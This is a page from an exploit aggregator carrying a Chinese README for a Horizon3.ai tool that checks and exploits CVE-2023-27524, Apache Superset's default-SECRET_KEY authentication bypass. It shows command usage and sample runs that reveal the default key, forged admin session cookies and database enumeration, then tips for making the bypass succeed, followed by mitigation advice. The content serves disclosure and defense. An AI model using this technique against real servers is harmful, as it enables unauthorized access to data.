## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HORIZON3AI-CVE-2023-27524
# CVE-2023-27524: Apache Superset 认证绕过
用于检查 Apache Superset 服务器是否运行在不安全默认配置下的脚本 (CVE-2023-27524)。该脚本检查 Superset 服务器的会话 cookie 是否使用任何已知的默认 Flask SECRET_KEY 进行签名。
`--validate` 标志可用于通过 Superset API 枚举数据库来验证可利用性。
## 博客文章
更多详细信息请参见: https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset 后续文章: https://www.horizon3.ai/apache-superset-part-ii-rce-credential-harvesting-and-more/
## 用法
root@kitploit:~
% python3 CVE-2023-27524.py -h
usage: CVE-2023-27524.py [-h] --url URL [--id ID] [--validate] [--timeout TIMEOUT]
optional arguments:
-h, --help 显示此帮助信息并退出
--url URL, -u URL Superset 实例的基础 URL
--id ID 伪造会话 cookie 的用户 ID,默认=1
--validate, -v 尝试验证登录
--timeout TIMEOUT, -t TIMEOUT
使用伪造会话 cookie 前的等待时间,默认=5s
## 基本示例
root@kitploit:~
% python3 CVE-2023-27524.py -u http://10.0.220.200:8088
Got session cookie: eyJjc3JmX3Rva2VuIjoiZDBiYWI5ZmU0YTRjOWFiM2ZkMjc2YjA2ZDZiNWE0MDZmZmNkN2JkOCIsImxvY2FsZSI6ImVuIn0.ZEc0tw.X6y_rTie0yMP5oTFC6KNq8Me9ek
Decoded session cookie: {'csrf_token': 'd0bab9fe4a4c9ab3fd276b06d6b5a406ffcd7bd8', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc0tw.xmzJjq757QujOpk65jK0dLgCSDg
## 包含可利用性验证的示例
root@kitploit:~
% python3 CVE-2023-27524.py -u http://10.0.220.200:8088 --validate
Got session cookie: eyJjc3JmX3Rva2VuIjoiMTY0ZWExNWJlMDhmNWM2ZmZmOGFhNTExZThhMjUzYjM1YWY5MTdlNiIsImxvY2FsZSI6ImVuIn0.ZEc07w.CAkEJ7AtDlpfvVok-w0JQVcJqa0
Decoded session cookie: {'csrf_token': '164ea15be08f5c6fff8aa511e8a253b35af917e6', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc07w.fOAFW0_5gLUTkIbeR_5AqEz2DoU
Sleeping 5 seconds before using forged cookie to account for time drift...
Got 302 on login, forged cookie appears to have been accepted
Enumerating databases
Found database examples
Found database PostgreSQL
Done enumerating databases
## 故障排除
如果脚本检测到正在使用 SECRET_KEY 但无法验证可利用性,可能是以下原因:
* 目标服务器集成了 SSO,用户 ID 不遵循自增格式(如果知道特定用户 ID,请尝试使用 `--id` 参数设置)
* 尚未配置任何用户
* 目标与你的机器之间存在时间漂移。Flask 会话 cookie 带有时间戳元素。请尝试在代码中将 5 秒的休眠间隔增加。
## 缓解措施
请按照此处说明生成并配置一个 Flask SECRET_KEY。可以使用 `superset` CLI 工具轮换 SECRET_KEY,以保留现有的数据库连接信息。
## 关注 Horizon3.ai 攻击团队以获取最新安全研究:
* Horizon3 Attack Team
* James Horseman
* Zach Hanley
## 免责声明
本软件纯粹出于学术研究以及开发有效防御技术的目的而创建,不应用于攻击未经明确授权的系统。项目维护者不对软件的误用负责。请负责任地使用。